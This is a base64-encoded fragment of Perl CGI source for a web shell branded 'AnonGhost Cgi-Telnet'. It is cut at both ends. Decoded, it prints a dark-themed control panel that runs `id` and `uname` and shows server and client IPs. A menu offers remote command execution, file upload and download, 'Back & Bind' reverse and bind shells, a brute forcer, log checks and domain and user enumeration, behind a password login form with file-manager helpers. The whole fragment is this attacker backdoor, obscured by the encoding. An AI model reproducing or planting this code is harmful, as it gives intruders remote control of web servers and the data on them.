gkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICM1OEZBRjQ7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGMDAwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI0ZGMDAwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjNThGQUY0OyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICM1OEZBRjQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tWyAgJEVkaXRQZXJzaW9uIF0tLW88L2ZvbnQ+PC9iPg0KCTwvdGQ+DQoJPHRkPg0KCQkkaW5mbw0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNGRjAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfA0KPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCiRpZA0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCglwcmludCA8PEVORDsNCjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uDQogICAgcmV0dXJuOw0KICB9DQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7DQogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOw0KICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsNCiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7DQogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7DQogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsNCiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KICB0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOw0KICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7DQogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7DQogIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICB0aGlzLmluVGFnID0gZmFsc2U7DQogIHRoaXMudGFnQnVmZmVyID0gIiI7DQogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOw0KfQ0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsNClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsNClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7DQogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7DQp9DQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsNCiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47DQogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4NCiAgICByZXR1cm47DQogIH0NCiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOw0KLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg0KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsNCiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOw0KICAgICAgdGhpcy5pblRhZyA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOw0KICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIHsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgfQ0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0Ow0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsNCiAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOw0KICB9IGVsc2Ugew0KCXRoaXMuY3VycmVudFRleHQgPSAiIjsNCgl0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOw0KICB9DQp9DQo8L3NjcmlwdD4NCjwvcHJlPg0KDQo8YnI+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOw0KVHlwaW5nVGV4dC5ydW5BbGwoKTsNCg0KPC9zY3JpcHQ+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgZW5jb2RlIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVybEVuY29kZSgkKXsNCglteSAkc3RyID0gc2hpZnQ7DQoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkpL3NlZzsNCglyZXR1cm4gJHN0cjsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLycvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuZW5jb2RlX2Jhc2U2NCgkcGF0aCkuIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj48aW1nIHNyYz0naHR0cDovL2k5NTIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9hZTEvdmlydXNhd29ybS9hZy9hZ25lX3pwczVlNDJmY2Y1LnBuZyc+PGJyPg0KPGI+RW50ZXIgeW91ciBQYXNzd29yZCA8aW1nIHNyYz0naHR0cDovL2wueWltZy5jb20vdXMueWltZy5jb20vaS9tZXNnL2Vtb3RpY29uczcvMzkuZ2lmJyAvPjwvYj48YnI+DQo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS